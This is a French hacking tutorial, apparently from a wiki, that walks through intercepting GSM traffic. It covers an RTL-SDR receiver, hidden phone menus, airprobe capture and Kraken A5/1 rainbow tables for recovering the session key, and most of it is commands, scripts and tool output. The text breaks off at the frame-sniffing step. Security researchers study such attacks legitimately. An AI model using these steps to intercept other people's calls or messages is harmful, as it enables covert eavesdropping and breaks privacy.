Hacking:GSM hack France

Matériel requis

• RTL-SDR (R820T)

Le Rtl-Sdr est un recepteur TNT. Il s'achète pour 20$ en chine. Lorsque l'on exploite le tuneur de ce recepteur, il est possible de capter les fréquences de 24 à 1766 MHz.

Device proposé pour les tests

• Samsung Galaxy S

Logiciels indispensables

• script de déploiement radio

Les pré-requis

Menu caché du SGS

*#*#197328640#*#*
*#0011#

Prérequis logiciel

 Installer boost: 
 wget http://netcologne.dl.sourceforge.net/project/boost/boost/1.54.0/boost_1_54_0.tar.bz2
 tar -xvzf boost_1_54_0.tar.bz2; cd boost_1_54_0; BOOST_PREFIX=/opt/boost_1_54_0; ./bootstrap.sh; ./b2 --prefix=$BOOST_PREFIX --with-thread --with-date_time --with-program_options --with-filesystem --with-system --layout=versioned threading=multi variant=release install
 #Compiler gnuradio
 cmake -DBOOST_ROOT=$BOOST_PREFIX -DBoost_INCLUDE_DIR=$BOOST_PREFIX/include/boost-1_54/ -DBoost_LIBRARY_DIRS=$BOOST_PREFIX/lib ../

Voici les étapes pour intercepter des trames GSM

Dans le cadre de nos tests nous allons intercepter la voix et les sms d'un Samsung Galaxy S 1.

Afin de nous caler sur une fréquence qui peut etre capté par le rtl-sdr nous allons forcer le GSM à utiliser la bande 900. Le GSM 900 utilise la bande 880-915 MHz pour l'envoi de la voix ou des données depuis le mobile et la bande 925-960 MHz pour la réception des informations venant du réseau.

Le téléphone dispose d'un menu secret permettant de forcer l'utilisation d'une bande:

 *#*#197328640#*#*

Puis on accède au menu

 [1] DEBUG SCREEN -> [8] PHONE CONTROL -> [7] NETWORK CONTROL -> [2] BAND SELECTION -> [3] GSM BAND[*] -> Puis on active [3] GSM 900 [*]

Nous pouvons vérifier que nous utilisons bien cette bande avec le menu secret:

 *#0011#

Ok, maintenant le téléphone est sur la bande GSM900. Nous devons maintenant sniffer sur un canal particulier, c'est l'arfcn. En effet, une bande est découpé en canaux. Chacune de ces bandes comprend 175 porteuses (canaux) de 200 kHz chacune ; elles sont, en France réparties entre 4 opérateurs (voir fréquences GSM en France). La modulation utilisée sur ces porteuses est la GMSK, qui permet d'éviter les chevauchements de porteuses.

Pour découvrir sur quel canal se trouve le téléphone, nous pouvons utiliser un autre menu secret:

 [1] DEBUG SCREEN -> [4] NEIGHBOUR CELL

Lors de ce test, le canal ayant le niveau de puissance le plus fort est:

 Arfcn_Num ; 37 , rxlev: 38

 [1] DEBUG SCREEN -> [1] BASIC INFORMATION

Le BcchFrq nous donne le numéro du canal Arfcn.

Nous pouvons donc calculer la fréquence corespondant à ce canal avec l'outil arfcncalc:

 arfcncalc -a 37 -b 900 -d

La fréquence est donc de 942.4Mhz

Sinon un outil en ligne permet de le calculer: www.cellmapper.net/arfcn?net=GSM&ARFCN=8&MNC=0

Avec gqrx, nous pouvons visualiser le spectre, et se caler sur le signal le plus fort. La fréquence est donc de 942.36Mhz.

• Nous pouvons sniffer cette fréquence et générer un fichier cfile avec gnuradio-companion. Voici le schema gsm.grc utilisé.*

Nous pouvons ensuite visualiser les trames gsm dans wireshark à l'aide de gsm_receiver_rtl.py de la suite airprobe. Dans un premier temps, lancer la version patché de wireshark qui permet de filtrer les trames gsmtap et écouter sur l'interface lo. Ensuite analyser le dump.cfile avec gsm_receive_rtl.py

 /hack/phreaking/Radio/airprobe/gsm-receiver/src/python$ ./gsm_receive_rtl.py -I /tmp/dump.cfile  -d 1 B0

Les trames s'affichent alors dans wireshark.

Préparer les tables avec behemoth

 * S'inspirer de  www.mail-archive.com/a51@lists.reflextor.com/msg01114.html
 * lists.srlabs.de/pipermail/a51/2010-July/000683.html

 * Renommer tous les dlt en xxx.dlt (ex: 100.dlt)
 * Les placer à la racine d'un disque
 * Se servir de Behemoth.py

Behemoth va créer un indexe de ces rainbowtable(table d'échange, ou table arc-en-ciel). Il va alors générer un fichier tables.conf contenant les disques utilisées, et les offset sur le disque du début de chaque table.

Une table est l'ensemble de tout les hash possible pour un charset donné. Un charset est constitué d'un ensemble de caractère comme [ az-AZ ]. C'est une sorte de dictionnaire.

Behemoth.py va chercher des fichier du type [09]+.dlt Il faut donc placer les 40 tables et les renommer.

 #!/bin/bash
 for f in *.dlt; do
  echo "Processing $f file...";
  new=`echo $f| cut -d'_' -f 3`
  ln $f $new
 done

Voici un script pour controler que les tables de hash sont parfaites.

 #!/bin/bash
 control["100"]="6d36bca865ad5f5b3b95e50be5555f0a";   
 control["108"]="d89f2f62a471734fc86844261e709719";   
 control["116"]="9db534d5866cc6c8b18eef0bbf6aceae";   
 control["124"]="0c93864ad638b531dedf10d85880ee79";   
 control["132"]="f0dbac482c9f6d6626a70bf8115515b4";   
 control["140"]="15768f7f5af4e5467304c7162688425d";   
 control["148"]="55b1bed783fd94a1feb06e70af5cd789";   
 control["156"]="cec43159aa1d7ca4982f1c7417b8dd09";   
 control["164"]="9558f5a7152ab8dddc6e5ff819a3fa5f";   
 control["172"]="307cc99d1724bd1b460d7f39d6121048";   
 control["180"]="0cbd427fb98dc9cec05bc8cd9eec53c5";   
 control["188"]="8771eba46785c636e606560265efcb6f";   
 control["196"]="7f4fcaec2da609dd794ecff07f1ad890";   
 control["204"]="69b40dc68cd9d26006f9b1f70ab676ad";   
 control["212"]="9e9861bd2272b58737629b7c34eb1064";  
 control["220"]="032414372c864417a502ef1eaaa42454";   
 control["230"]="6afc1ca6c0005bf2df6782371c56700d";   
 control["238"]="c6a95cda3e55079295cf97706dc9de2e";   
 control["250"]="f54c106d3ea9ef442330c5156c14c832";   
 control["260"]="2cf1377b93139fb2a7ec9f687b272d3c";   
 control["268"]="af8167abdfd178a01b2bb3a2ee4f59c8";   
 control["276"]="d422218e33cb6c421108469940c03d41";   
 control["292"]="6995a5445330b78380b3ba16642318e9";   
 control["324"]="2ecc836a993a3f71cd710c4455e9780e";   
 control["332"]="75340dda19dc1b1ada8108d47461562a";  
 control["340"]="1cc82ad35788afc4acab95f481e3de9d";   
 control["348"]="183a3427843105942e9b0ab0a852c7db";   
 control["356"]="771ec801ac043291b9f134f75f82a31d";   
 control["364"]="59913ab26509afaecd8861a6877b06c6";   
 control["372"]="1bbceb9afda870b76b7e9928409183de";   
 control["380"]="435e2d2755aa5ce9357889bef5ee534f";   
 control["388"]="fabeaa1792045a0ab5471aeac7271481";   
 control["396"]="98de5b58c98fafc5ada3897eddf7f31a";   
 control["404"]="5bc5814694b412cfb4ba52198492ba1b";   
 control["412"]="4518baa2a1156451cbc0952eb216cb5f";   
 control["420"]="3985446a74105d15f6c4b8bd0467771b";   
 control["428"]="44f06b97410bda5b029754de9cc87db4";   
 control["436"]="c3c48ba123a1ebd9ea6f0abaa56ac475"; 
 control["492"]="a0006b7b58e01b97d6bce1b43b015343";  
 control["500"]="fa47f2242230b69c5ae7a1196ea0311f"
 
 for f in "${!control[@]}"; do
   export hash=`nice -n 0 md5sum $f.dlt`;
   export expected="${control[$f]}  $f.dlt";
   echo "Fait:  $f.dlt" > md5Done.txt;
   if $expected != $hash  
    then echo "/!\ Different Fichier $f hash:$hash control:${control[$f]}"
    #echo "expected:${control[$f]}"
   fi
 
 done &
 # echo "Hash: $hash"

Maintenant que les tables sont téléchargé et vérifié, on va pouvoir les écrire sur un disque de 2To.

On peut alors lancer Behemoth.py de Kraken. Il va falloir 4To en tout. Les 2To de fichier .dlt et 2To de fichier .idx qui vont être généré avec Behemoth. On va utiliser un disque vierge de 2To /dev/sde1 qui contiendra nos fichiers dlt.

 mount /dev/sde1 /mnt/dltKraken	
	

On va placer Kraken sur ce disque.

 cd /mnt/dltKraken	
 cp -rf /source/kraken /mnt/dltKraken/	
	

Il faut un fichier /mnt/dltKraken/tables.conf pour Behemoth qui va contenir le node de ce disque de destination(2To):

 Device: /dev/sdd1 40	

/!\ Le disque de destination va être réécrit en grande partie. Les données seront écrasées.

On doit monter ce disque:

 mount /dev/sdd1 /mnt/dst    /!\ Le disque doit-il vraiment être monté?	
	

On peut ensuite lancer Behemoth en lui indiquant où il va trouver les sources en .dlt

 /mnt/dltKraken/$ sudo ./indexes/Behemoth.py /mnt/dltKraken	
	

Au fichier */mnt/dltKraken/tables.conf* behemoth va inclure les indexes de chaque offset pour chaque table sur le(s) disque(s).

1. Devices: dev/node max_tables

Device: /dev/mapper/Zanorg-root 40

1. Tables: dev id(advance) offset

 Table: 0 132 10235086
 Table: 0 324 286566544
 Table: 0 172 40969789
 Table: 0 388 235403561
 Table: 0 396 173999725
 Table: 0 404 194467391
 Table: 0 260 143291756
 Table: 0 412 153536985
 Table: 0 364 122825759
 Table: 0 180 296801556
 Table: 0 292 102363709
 Table: 0 220 399139151
 Table: 0 372 112596452
 Table: 0 428 0
 Table: 0 436 71667455
 Table: 0 500 30736294
 Table: 0 188 245637901
 Table: 0 492 327502453
 Table: 0 100 266108608	
 Table: 0 164 20505860
 Table: 0 196 255877713	
 Table: 0 140 184229975	
 Table: 0 204 347961807	
 Table: 0 156 61435100	
 Table: 0 212 317269082	
 Table: 0 420 51203082	
 Table: 0 348 163770598	
 Table: 0 148 337732312	
 Table: 0 356 225171847	
 Table: 0 230 358191796	
 Table: 0 340 378658386	
 Table: 0 380 388890708	
 Table: 0 108 133057445	
 Table: 0 238 81901548
 Table: 0 116 214939911
 Table: 0 268 92131489
 Table: 0 332 368426161
 Table: 0 276 276337464
 Table: 0 250 204699650
 Table: 0 124 307030440

Behemoth va générer les index de ces tables(extension en .idx) dans le répertoire /mnt/dltKraken/kraken

Tester Kraken

On va maintenant pouvoir tester si nos tables nous permettent de déchiffrer des trames GSM de test. Pour cela il faut lancer kraken.

korigan@Zanorg:/mnt/dltKraken/kraken#Kraken/kraken  .
Device: /dev/mapper/Zanorg-root 40
/dev/mapper/Zanorg-root
Allocated 41404056 bytes: ./132.idx
Allocated 41259888 bytes: ./324.idx
Allocated 41252956 bytes: ./172.idx
Allocated 41257176 bytes: ./388.idx
Allocated 41240688 bytes: ./396.idx
Allocated 41248788 bytes: ./404.idx
Allocated 41301076 bytes: ./260.idx
Allocated 41254252 bytes: ./412.idx
Allocated 41246480 bytes: ./364.idx
Allocated 41235184 bytes: ./180.idx
Allocated 41250740 bytes: ./292.idx
Allocated 41230652 bytes: ./220.idx
Allocated 41236892 bytes: ./372.idx
Allocated 41260184 bytes: ./428.idx
Allocated 41256180 bytes: ./436.idx
Allocated 41253772 bytes: ./500.idx
Allocated 41279240 bytes: ./188.idx
Allocated 41239116 bytes: ./492.idx
Allocated 41235072 bytes: ./100.idx
Allocated 41241432 bytes: ./164.idx
Allocated 41243292 bytes: ./196.idx
Allocated 41269576 bytes: ./140.idx
Allocated 41239636 bytes: ./204.idx
Allocated 41249180 bytes: ./156.idx
Allocated 41253276 bytes: ./212.idx
Allocated 41247816 bytes: ./420.idx
Allocated 41236164 bytes: ./348.idx
Allocated 41237644 bytes: ./148.idx
Allocated 41246592 bytes: ./356.idx
Allocated 41257276 bytes: ./230.idx
Allocated 41249048 bytes: ./340.idx
Allocated 41314028 bytes: ./380.idx
Allocated 41257060 bytes: ./108.idx
Allocated 41239444 bytes: ./238.idx
Allocated 41247488 bytes: ./116.idx
Allocated 41248632 bytes: ./268.idx
Allocated 41248652 bytes: ./332.idx
Allocated 41235976 bytes: ./276.idx
Allocated 41281052 bytes: ./250.idx
Allocated 41274520 bytes: ./124.idx
Tables: 132,324,172,388,396,404,260,412,364,180,292,220,372,428,436,500,188,492,100,164,196,140,204,156,212,420,348,148,356,230,340,380,108,238,116,268,332,276,250,124
Error when opening A5Cpu.so: ./A5Cpu.so: cannot open shared object file: No such file or directory
Commands are: crack test quit

Kraken>test
Cracking 001101110011000000001000001100011000100110110110011011010011110001101010100100101111111010111100000110101001101011
...

Maintenant nous pouvons cracker les trames.

Trouver la clef Kc

L'attaque sur l'A5/1 repose principalement sur le faite que les trames "Système information, type 5" sont répété à intervale régulier. Avant la commande de chiffrement, ces trames sont envoyé en clair. Nous pouvons cependant réaliser une attaque basé sur la connaissance du texte en clair sur le flux chiffré.

Sniffer les trames de types 5

Utiliser le rtl_sdr et wireshark pour sniffer les trames.

Parmis les frames qui match GSM TAP Header, noter le numéro de frame (GSM TAP Header -> GSM Frame Number)

Switch to the terminal window you used to decode the packets (go

usrp2.py...) and scroll to the datablock of this frame number. Copy the complete textblock to a texteditor. Example: C1 862242 1332356: 0010000000011100001000000011001000110000011000001100... P1 862242 1332356: 0010000000011100001000000011001000110000011000001100... S1 862242 1332356: 0000000000000000000000000000000000000000000000000000... C0 862243 1332389: 0000000001010010001000000000001010000000011010110100... P0 862243 1332389: 0000000001010010001000000000001010000000011010110100... S0 862243 1332389: 0000000000000000000000000000000000000000000000000000... C0 862244 1332422: 1000000101001010000000011110000000000101000001000100... P0 862244 1332422: 1000000101001010000000011110000000000101000001000100... S0 862244 1332422: 0000000000000000000000000000000000000000000000000000... C0 862245 1332455: 1100000001001001000001010000110101010010000001000001... P0 862245 1332455: 1100000001001001000001010000110101010010000001000001... S0 862245 1332455: 0000000000000000000000000000000000000000000000000000... 862245 1: 00 01 03 03 49 06 1d 9f 6d 18 10 80 00 00 00 00 00 00 00 00 0... The lines starting with C are the ciphered bursts, P the plaintext and S the keystream. The ciphered content is derived by XOR'ing the plaintext with the keystream. Because the key hasn't been supplied, the plaintext is also displayed as sequence of zeroes.